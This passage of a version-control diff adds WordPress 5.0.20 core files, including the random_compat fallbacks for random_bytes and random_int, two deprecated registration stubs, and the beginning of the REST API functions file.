+            $buf .= \Sodium\randombytes_buf($n);
+        }
+    } else {
+        $buf = \Sodium\randombytes_buf($bytes);
+    }
+
+    if ($buf !== false) {
+        if (RandomCompat_strlen($buf) === $bytes) {
+            return $buf;
+        }
+    }
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Could not gather sufficient random data'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium_legacy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium_legacy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium_legacy.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * If the libsodium PHP extension is loaded, we'll use it above any other
+ * solution.
+ *
+ * libsodium-php project:
+ * @ref https://github.com/jedisct1/libsodium-php
+ *
+ * @param int $bytes
+ *
+ * @throws Exception
+ *
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    /**
+     * \Sodium\randombytes_buf() doesn't allow more than 2147483647 bytes to be
+     * generated in one invocation.
+     */
+    if ($bytes > 2147483647) {
+        $buf = '';
+        for ($i = 0; $i < $bytes; $i += 1073741824) {
+            $n = ($bytes - $i) > 1073741824
+                ? 1073741824
+                : $bytes - $i;
+            $buf .= Sodium::randombytes_buf($n);
+        }
+    } else {
+        $buf = Sodium::randombytes_buf($bytes);
+    }
+
+    if ($buf !== false) {
+        if (RandomCompat_strlen($buf) === $bytes) {
+            return $buf;
+        }
+    }
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Could not gather sufficient random data'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_mcrypt.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_mcrypt.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_mcrypt.php	(revision 56912)
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * Powered by ext/mcrypt (and thankfully NOT libmcrypt)
+ * 
+ * @ref https://bugs.php.net/bug.php?id=55169
+ * @ref https://github.com/php/php-src/blob/c568ffe5171d942161fc8dda066bce844bdef676/ext/mcrypt/mcrypt.c#L1321-L1386
+ * 
+ * @param int $bytes
+ * 
+ * @throws Exception
+ * 
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    $buf = @mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM);
+    if (
+        $buf !== false
+        &&
+        RandomCompat_strlen($buf) === $bytes
+    ) {
+        /**
+         * Return our random entropy buffer here:
+         */
+        return $buf;
+    }
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Could not gather sufficient random data'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_openssl.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_openssl.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_openssl.php	(revision 56912)
@@ -0,0 +1,85 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * Since openssl_random_pseudo_bytes() uses openssl's 
+ * RAND_pseudo_bytes() API, which has been marked as deprecated by the
+ * OpenSSL team, this is our last resort before failure.
+ * 
+ * @ref https://www.openssl.org/docs/crypto/RAND_bytes.html
+ * 
+ * @param int $bytes
+ * 
+ * @throws Exception
+ * 
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    /**
+     * $secure is passed by reference. If it's set to false, fail. Note
+     * that this will only return false if this function fails to return
+     * any data.
+     * 
+     * @ref https://github.com/paragonie/random_compat/issues/6#issuecomment-119564973
+     */
+    $secure = true;
+    $buf = openssl_random_pseudo_bytes($bytes, $secure);
+    if (
+        $buf !== false
+        &&
+        $secure
+        &&
+        RandomCompat_strlen($buf) === $bytes
+    ) {
+        return $buf;
+    }
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Could not gather sufficient random data'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_int.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_int.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_int.php	(revision 56912)
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if ( ! is_callable( 'random_int' ) ):
+/**
+ * Fetch a random integer between $min and $max inclusive
+ * 
+ * @param int $min
+ * @param int $max
+ * 
+ * @throws Exception
+ * 
+ * @return int
+ */
+function random_int($min, $max)
+{
+    /**
+     * Type and input logic checks
+     * 
+     * If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
+     * (non-inclusive), it will sanely cast it to an int. If you it's equal to
+     * ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer. Floats 
+     * lose precision, so the <= and => operators might accidentally let a float
+     * through.
+     */
+    
+    try {
+        $min = RandomCompat_intval($min);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_int(): $min must be an integer'
+        );
+    }
+
+    try {
+        $max = RandomCompat_intval($max);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_int(): $max must be an integer'
+        );
+    }
+    
+    /**
+     * Now that we've verified our weak typing system has given us an integer,
+     * let's validate the logic then we can move forward with generating random
+     * integers along a given range.
+     */
+    if ($min > $max) {
+        throw new Error(
+            'Minimum value must be less than or equal to the maximum value'
+        );
+    }
+
+    if ($max === $min) {
+        return $min;
+    }
+
+    /**
+     * Initialize variables to 0
+     * 
+     * We want to store:
+     * $bytes => the number of random bytes we need
+     * $mask => an integer bitmask (for use with the &) operator
+     *          so we can minimize the number of discards
+     */
+    $attempts = $bits = $bytes = $mask = $valueShift = 0;
+
+    /**
+     * At this point, $range is a positive number greater than 0. It might
+     * overflow, however, if $max - $min > PHP_INT_MAX. PHP will cast it to
+     * a float and we will lose some precision.
+     */
+    $range = $max - $min;
+
+    /**
+     * Test for integer overflow:
+     */
+    if (!is_int($range)) {
+
+        /**
+         * Still safely calculate wider ranges.
+         * Provided by @CodesInChaos, @oittaa
+         * 
+         * @ref https://gist.github.com/CodesInChaos/03f9ea0b58e8b2b8d435
+         * 
+         * We use ~0 as a mask in this case because it generates all 1s
+         * 
+         * @ref https://eval.in/400356 (32-bit)
+         * @ref http://3v4l.org/XX9r5  (64-bit)
+         */
+        $bytes = PHP_INT_SIZE;
+        $mask = ~0;
+
+    } else {
+
+        /**
+         * $bits is effectively ceil(log($range, 2)) without dealing with 
+         * type juggling
+         */
+        while ($range > 0) {
+            if ($bits % 8 === 0) {
+               ++$bytes;
+            }
+            ++$bits;
+            $range >>= 1;
+            $mask = $mask << 1 | 1;
+        }
+        $valueShift = $min;
+    }
+
+    /**
+     * Now that we have our parameters set up, let's begin generating
+     * random integers until one falls between $min and $max
+     */
+    do {
+        /**
+         * The rejection probability is at most 0.5, so this corresponds
+         * to a failure probability of 2^-128 for a working RNG
+         */
+        if ($attempts > 128) {
+            throw new Exception(
+                'random_int: RNG is broken - too many rejections'
+            );
+        }
+
+        /**
+         * Let's grab the necessary number of random bytes
+         */
+        $randomByteString = random_bytes($bytes);
+        if ($randomByteString === false) {
+            throw new Exception(
+                'Random number generator failure'
+            );
+        }
+
+        /**
+         * Let's turn $randomByteString into an integer
+         * 
+         * This uses bitwise operators (<< and |) to build an integer
+         * out of the values extracted from ord()
+         * 
+         * Example: [9F] | [6D] | [32] | [0C] =>
+         *   159 + 27904 + 3276800 + 201326592 =>
+         *   204631455
+         */
+        $val = 0;
+        for ($i = 0; $i < $bytes; ++$i) {
+            $val |= ord($randomByteString[$i]) << ($i * 8);
+        }
+
+        /**
+         * Apply mask
+         */
+        $val &= $mask;
+        $val += $valueShift;
+
+        ++$attempts;
+        /**
+         * If $val overflows to a floating point number,
+         * ... or is larger than $max,
+         * ... or smaller than $min,
+         * then try again.
+         */
+    } while (!is_int($val) || $val > $max || $val < $min);
+
+    return (int) $val;
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/registration-functions.php
===================================================================
--- /tags/5.0.20/src/wp-includes/registration-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/registration-functions.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+/**
+ * Deprecated. No longer needed.
+ *
+ * @package WordPress
+ */
+_deprecated_file( basename(__FILE__), '2.1.0', null, __( 'This file no longer needs to be included.' ) );
Index: /tags/5.0.20/src/wp-includes/registration.php
===================================================================
--- /tags/5.0.20/src/wp-includes/registration.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/registration.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+/**
+ * Deprecated. No longer needed.
+ *
+ * @package WordPress
+ */
+_deprecated_file( basename(__FILE__), '3.1.0', null, __( 'This file no longer needs to be included.' ) );
Index: /tags/5.0.20/src/wp-includes/rest-api.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api.php	(revision 56912)
@@ -0,0 +1,1395 @@
+<?php
+/**
+ * REST API functions.
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.4.0
+ */
+
+/**
+ * Version number for our API.
+ *
+ * @var string
+ */
+define( 'REST_API_VERSION', '2.0' );
+
+/**
+ * Registers a REST API route.
+ *
+ * @since 4.4.0
+ *
+ * @param string $namespace The first URL segment after core prefix. Should be unique to your package/plugin.
+ * @param string $route     The base URL for route you are adding.
+ * @param array  $args      Optional. Either an array of options for the endpoint, or an array of arrays for
+ *                          multiple methods. Default empty array.
+ * @param bool   $override  Optional. If the route already exists, should we override it? True overrides,
+ *                          false merges (with newer overriding if duplicate keys exist). Default false.
+ * @return bool True on success, false on error.
+ */
+function register_rest_route( $namespace, $route, $args = array(), $override = false ) {
+	if ( empty( $namespace ) ) {
+		/*
+		 * Non-namespaced routes are not allowed, with the exception of the main
+		 * and namespace indexes. If you really need to register a
+		 * non-namespaced route, call `WP_REST_Server::register_route` directly.
+		 */
+		_doing_it_wrong( 'register_rest_route', __( 'Routes must be namespaced with plugin or theme name and version.' ), '4.4.0' );
+		return false;
+	} else if ( empty( $route ) ) {
+		_doing_it_wrong( 'register_rest_route', __( 'Route must be specified.' ), '4.4.0' );
+		return false;
+	}
+
+	if ( isset( $args['args'] ) ) {
+		$common_args = $args['args'];
+		unset( $args['args'] );
+	} else {
+		$common_args = array();
+	}
+
+	if ( isset( $args['callback'] ) ) {
+		// Upgrade a single set to multiple.
+		$args = array( $args );
+	}
+
+	$defaults = array(
+		'methods'         => 'GET',
+		'callback'        => null,
+		'args'            => array(),
+	);
+	foreach ( $args as $key => &$arg_group ) {
+		if ( ! is_numeric( $key ) ) {
+			// Route option, skip here.
+			continue;
+		}
+
+		$arg_group = array_merge( $defaults, $arg_group );
+		$arg_group['args'] = array_merge( $common_args, $arg_group['args'] );
+	}
+
+	$full_route = '/' . trim( $namespace, '/' ) . '/' . trim( $route, '/' );
+	rest_get_server()->register_route( $namespace, $full_route, $args, $override );
+	return true;
+}
+
+/**
+ * Registers a new field on an existing WordPress object type.
+ *
+ * @since 4.7.0
+ *
+ * @global array $wp_rest_additional_fields Holds registered fields, organized
+ *                                          by object type.
+ *
+ * @param string|array $object_type Object(s) the field is being registered
+ *                                  to, "post"|"term"|"comment" etc.
+ * @param string $attribute         The attribute name.
+ * @param array  $args {
+ *     Optional. An array of arguments used to handle the registered field.
+ *
+ *     @type string|array|null $get_callback    Optional. The callback function used to retrieve the field
+ *                                              value. Default is 'null', the field will not be returned in
+ *                                              the response.
+ *     @type string|array|null $update_callback Optional. The callback function used to set and update the
+ *                                              field value. Default is 'null', the value cannot be set or
+ *                                              updated.
+ *     @type string|array|null $schema          Optional. The callback function used to create the schema for
+ *                                              this field. Default is 'null', no schema entry will be returned.
+ * }
+ */
+function register_rest_field( $object_type, $attribute, $args = array() ) {
+	$defaults = array(
+		'get_callback'    => null,
+		'update_callback' => null,
+		'schema'          => null,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	global $wp_rest_additional_fields;
+
+	$object_types = (array) $object_type;
+
+	foreach ( $object_types as $object_type ) {
+		$wp_rest_additional_fields[ $object_type ][ $attribute ] = $args;
+	}
+}
+
+/**
+ * Registers rewrite rules for the API.
+ *
+ * @since 4.4.0
+ *
+ * @see rest_api_register_rewrites()
+ * @global WP $wp Current WordPress environment instance.
+ */
+function rest_api_init() {
+	rest_api_register_rewrites();
+
+	global $wp;
+	$wp->add_query_var( 'rest_route' );
+}
+
+/**
+ * Adds REST rewrite rules.
+ *
+ * @since 4.4.0
+ *
+ * @see add_rewrite_rule()
+ * @global WP_Rewrite $wp_rewrite
+ */
+function rest_api_register_rewrites() {
+	global $wp_rewrite;
+
+	add_rewrite_rule( '^' . rest_get_url_prefix() . '/?$','index.php?rest_route=/','top' );
+	add_rewrite_rule( '^' . rest_get_url_prefix() . '/(.*)?','index.php?rest_route=/$matches[1]','top' );
+	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/?$','index.php?rest_route=/','top' );
+	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/(.*)?','index.php?rest_route=/$matches[1]','top' );
+}
+
+/**
+ * Registers the default REST API filters.
+ *
+ * Attached to the {@see 'rest_api_init'} action
+ * to make testing and disabling these filters easier.
+ *
+ * @since 4.4.0
+ */
+function rest_api_default_filters() {
+	// Deprecated reporting.
+	add_action( 'deprecated_function_run', 'rest_handle_deprecated_function', 10, 3 );
+	add_filter( 'deprecated_function_trigger_error', '__return_false' );
+	add_action( 'deprecated_argument_run', 'rest_handle_deprecated_argument', 10, 3 );
+	add_filter( 'deprecated_argument_trigger_error', '__return_false' );
+
+	// Default serving.
+	add_filter( 'rest_pre_serve_request', 'rest_send_cors_headers' );
+	add_filter( 'rest_post_dispatch', 'rest_send_allow_header', 10, 3 );
+	add_filter( 'rest_post_dispatch', 'rest_filter_response_fields', 10, 3 );
+
+	add_filter( 'rest_pre_dispatch', 'rest_handle_options_request', 10, 3 );
+}
+
+/**
+ * Registers default REST API routes.
+ *
+ * @since 4.7.0
+ */
+function create_initial_rest_routes() {
+	foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
+		$class = ! empty( $post_type->rest_controller_class ) ? $post_type->rest_controller_class : 'WP_REST_Posts_Controller';
+
+		if ( ! class_exists( $class ) ) {
+			continue;
+		}
+		$controller = new $class( $post_type->name );
+		if ( ! is_subclass_of( $controller, 'WP_REST_Controller' ) ) {
+			continue;
+		}
+
+		$controller->register_routes();
+
+		if ( post_type_supports( $post_type->name, 'revisions' ) ) {
+			$revisions_controller = new WP_REST_Revisions_Controller( $post_type->name );
+			$revisions_controller->register_routes();
+		}
+
+		if ( 'attachment' !== $post_type->name ) {
+			$autosaves_controller = new WP_REST_Autosaves_Controller( $post_type->name );
+			$autosaves_controller->register_routes();
+		}
+
+	}
+
+	// Post types.
+	$controller = new WP_REST_Post_Types_Controller;
+	$controller->register_routes();
+
+	// Post statuses.
+	$controller = new WP_REST_Post_Statuses_Controller;
+	$controller->register_routes();
+
+	// Taxonomies.
+	$controller = new WP_REST_Taxonomies_Controller();
+	$controller->register_routes();
+
+	// Terms.
+	foreach ( get_taxonomies( array( 'show_in_rest' => true ), 'object' ) as $taxonomy ) {
+		$class = ! empty( $taxonomy->rest_controller_class ) ? $taxonomy->rest_controller_class : 'WP_REST_Terms_Controller';
+
+		if ( ! class_exists( $class ) ) {
+			continue;
+		}
+		$controller = new $class( $taxonomy->name );
+		if ( ! is_subclass_of( $controller, 'WP_REST_Controller' ) ) {
+			continue;
+		}
+
+		$controller->register_routes();
+	}
+
+	// Users.
+	$controller = new WP_REST_Users_Controller;
+	$controller->register_routes();
+
+	// Comments.
+	$controller = new WP_REST_Comments_Controller;
+	$controller->register_routes();
+
+	/**
+	 * Filters the search handlers to use in the REST search controller.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array $search_handlers List of search handlers to use in the controller. Each search
+	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
+	 *                               Default is only a handler for posts.
+	 */
+	$search_handlers = apply_filters( 'wp_rest_search_handlers', array( new WP_REST_Post_Search_Handler() ) );
+
+	$controller = new WP_REST_Search_Controller( $search_handlers );
+	$controller->register_routes();
+
+	// Block Renderer.
+	$controller = new WP_REST_Block_Renderer_Controller;
+	$controller->register_routes();
+
+	// Settings.
+	$controller = new WP_REST_Settings_Controller;
+	$controller->register_routes();
+
+	// Themes.
+	$controller = new WP_REST_Themes_Controller;
+	$controller->register_routes();
+
+}
+
+/**
+ * Loads the REST API.
+ *
+ * @since 4.4.0
+ *
+ * @global WP             $wp             Current WordPress environment instance.
+ */
+function rest_api_loaded() {
+	if ( empty( $GLOBALS['wp']->query_vars['rest_route'] ) ) {
+		return;
+	}
+
+	/**
+	 * Whether this is a REST Request.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	define( 'REST_REQUEST', true );
+
+	// Initialize the server.
+	$server = rest_get_server();
+
+	// Fire off the request.
+	$route = untrailingslashit( $GLOBALS['wp']->query_vars['rest_route'] );
+	if ( empty( $route ) ) {
+		$route = '/';
+	}
+	$server->serve_request( $route );
+
+	// We're done.
+	die();
+}
+
+/**
+ * Retrieves the URL prefix for any API resource.
+ *
+ * @since 4.4.0
+ *
+ * @return string Prefix.
+ */
+function rest_get_url_prefix() {
+	/**
+	 * Filters the REST URL prefix.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $prefix URL prefix. Default 'wp-json'.
+	 */
+	return apply_filters( 'rest_url_prefix', 'wp-json' );
+}
+
+/**
+ * Retrieves the URL to a REST endpoint on a site.
+ *
+ * Note: The returned URL is NOT escaped.
+ *
+ * @since 4.4.0
+ *
+ * @todo Check if this is even necessary
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int    $blog_id Optional. Blog ID. Default of null returns URL for current blog.
+ * @param string $path    Optional. REST route. Default '/'.
+ * @param string $scheme  Optional. Sanitization scheme. Default 'rest'.
+ * @return string Full URL to the endpoint.
+ */
+function get_rest_url( $blog_id = null, $path = '/', $scheme = 'rest' ) {
+	if ( empty( $path ) ) {
+		$path = '/';
+	}
+
+	$path = '/' . ltrim( $path, '/' );
+
+	if ( is_multisite() && get_blog_option( $blog_id, 'permalink_structure' ) || get_option( 'permalink_structure' ) ) {
+		global $wp_rewrite;
+
+		if ( $wp_rewrite->using_index_permalinks() ) {
+			$url = get_home_url( $blog_id, $wp_rewrite->index . '/' . rest_get_url_prefix(), $scheme );
+		} else {
+			$url = get_home_url( $blog_id, rest_get_url_prefix(), $scheme );
+		}
+
+		$url .= $path;
+	} else {
+		$url = trailingslashit( get_home_url( $blog_id, '', $scheme ) );
+		// nginx only allows HTTP/1.0 methods when redirecting from / to /index.php
+		// To work around this, we manually add index.php to the URL, avoiding the redirect.
+		if ( 'index.php' !== substr( $url, 9 ) ) {
+			$url .= 'index.php';
+		}
+
+		$url = add_query_arg( 'rest_route', $path, $url );
+	}
+
+	if ( is_ssl() ) {
+		// If the current host is the same as the REST URL host, force the REST URL scheme to HTTPS.
+		if ( $_SERVER['SERVER_NAME'] === parse_url( get_home_url( $blog_id ), PHP_URL_HOST ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+	}
+
+	if ( is_admin() && force_ssl_admin() ) {
+		// In this situation the home URL may be http:, and `is_ssl()` may be
+		// false, but the admin is served over https: (one way or another), so
+		// REST API usage will be blocked by browsers unless it is also served
+		// over HTTPS.
+		$url = set_url_scheme( $url, 'https' );
+	}
+
+	/**
+	 * Filters the REST URL.
+	 *
+	 * Use this filter to adjust the url returned by the get_rest_url() function.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $url     REST URL.
+	 * @param string $path    REST route.
+	 * @param int    $blog_id Blog ID.
+	 * @param string $scheme  Sanitization scheme.
+	 */
+	return apply_filters( 'rest_url', $url, $path, $blog_id, $scheme );
+}
+
+/**
+ * Retrieves the URL to a REST endpoint.
+ *
+ * Note: The returned URL is NOT escaped.
+ *
+ * @since 4.4.0
+ *
+ * @param string $path   Optional. REST route. Default empty.
+ * @param string $scheme Optional. Sanitization scheme. Default 'json'.
+ * @return string Full URL to the endpoint.
+ */
+function rest_url( $path = '', $scheme = 'json' ) {
+	return get_rest_url( null, $path, $scheme );
+}
+
+/**
+ * Do a REST request.
+ *
+ * Used primarily to route internal requests through WP_REST_Server.
+ *
+ * @since 4.4.0
+ *
+ * @param WP_REST_Request|string $request Request.
+ * @return WP_REST_Response REST response.
+ */
+function rest_do_request( $request ) {
+	$request = rest_ensure_request( $request );
+	return rest_get_server()->dispatch( $request );
+}
+
+/**
+ * Retrieves the current REST server instance.
+ *
+ * Instantiates a new instance if none exists already.
+ *
+ * @since 4.5.0
+ *
+ * @global WP_REST_Server $wp_rest_server REST server instance.
+ *
+ * @return WP_REST_Server REST server instance.
+ */
+function rest_get_server() {
+	/* @var WP_REST_Server $wp_rest_server */
+	global $wp_rest_server;
+
+	if ( empty( $wp_rest_server ) ) {
+		/**
+		 * Filters the REST Server Class.
+		 *
+		 * This filter allows you to adjust the server class used by the API, using a
+		 * different class to handle requests.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $class_name The name of the server class. Default 'WP_REST_Server'.
+		 */
+		$wp_rest_server_class = apply_filters( 'wp_rest_server_class', 'WP_REST_Server' );
+		$wp_rest_server = new $wp_rest_server_class;
+
+		/**
+		 * Fires when preparing to serve an API request.
+		 *
+		 * Endpoint objects should be created and register their hooks on this action rather
+		 * than another action to ensure they're only loaded when needed.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param WP_REST_Server $wp_rest_server Server object.
+		 */
+		do_action( 'rest_api_init', $wp_rest_server );
+	}
+
+	return $wp_rest_server;
+}
+
+/**
+ * Ensures request arguments are a request object (for consistency).
+ *
+ * @since 4.4.0
+ *
+ * @param array|WP_REST_Request $request Request to check.
+ * @return WP_REST_Request REST request instance.
+ */
+function rest_ensure_request( $request ) {
+	if ( $request instanceof WP_REST_Request ) {
+		return $request;
+	}
+
+	return new WP_REST_Request( 'GET', '', $request );
+}
+
+/**
+ * Ensures a REST response is a response object (for consistency).
+ *
+ * This implements WP_HTTP_Response, allowing usage of `set_status`/`header`/etc
+ * without needing to double-check the object. Will also allow WP_Error to indicate error
+ * responses, so users should immediately check for this value.
+ *
+ * @since 4.4.0
+ *
+ * @param WP_Error|WP_HTTP_Response|mixed $response Response to check.
+ * @return WP_REST_Response|mixed If response generated an error, WP_Error, if response
+ *                                is already an instance, WP_HTTP_Response, otherwise
+ *                                returns a new WP_REST_Response instance.
+ */
+function rest_ensure_response( $response ) {
+	if ( is_wp_error( $response ) ) {
+		return $response;
+	}
+
+	if ( $response instanceof WP_HTTP_Response ) {
+		return $response;
+	}
+
+	return new WP_REST_Response( $response );
+}
+
+/**
+ * Handles _deprecated_function() errors.
+ *
+ * @since 4.4.0
+ *
+ * @param string $function    The function that was called.
+ * @param string $replacement The function that should have been called.
+ * @param string $version     Version.
+ */
+function rest_handle_deprecated_function( $function, $replacement, $version ) {
+	if ( ! WP_DEBUG || headers_sent() ) {
+		return;
+	}
+	if ( ! empty( $replacement ) ) {
+		/* translators: 1: function name, 2: WordPress version number, 3: new function name */
+		$string = sprintf( __( '%1$s (since %2$s; use %3$s instead)' ), $function, $version, $replacement );
+	} else {
+		/* translators: 1: function name, 2: WordPress version number */
+		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function, $version );
+	}
+
+	header( sprintf( 'X-WP-DeprecatedFunction: %s', $string ) );
+}
+
+/**
+ * Handles _deprecated_argument() errors.
+ *
+ * @since 4.4.0
